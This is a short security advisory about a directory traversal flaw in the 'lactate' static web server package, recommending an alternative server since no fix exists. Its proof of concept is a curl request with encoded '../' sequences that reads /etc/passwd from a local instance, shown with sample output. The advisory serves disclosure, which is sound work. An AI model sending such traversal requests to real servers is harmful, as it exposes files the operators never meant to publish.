Directory Traversal in lactate

Summary

A crafted `GET` request can be leveraged to traverse the directory structure of a host using the lactate web server package, and request arbitrary files outside of the specified web root. This allows for a remote attacker to gain access to arbitrary files on the filesystem that the process has access to read.

Mitigating factors: Only files that the user running `lactate` has permission to read will be accessible via this vulnerability.

[Proof of concept](https://hackerone.com/reports/296645): Please globally install the `lactate` package and `cd` to a directory you wish to serve assets from. Next, run `lactate -p 8081` to start serving files from this location.

The following cURL request can be used to demonstrate this vulnerability by requesting the target `/etc/passwd` file:

``` curl "http://127.0.0.1:8081/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd" ``` ``` root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin [...] ```

## Recommendation

As there is currently no fix for this issue selecting an alternative static web server would be the best choice.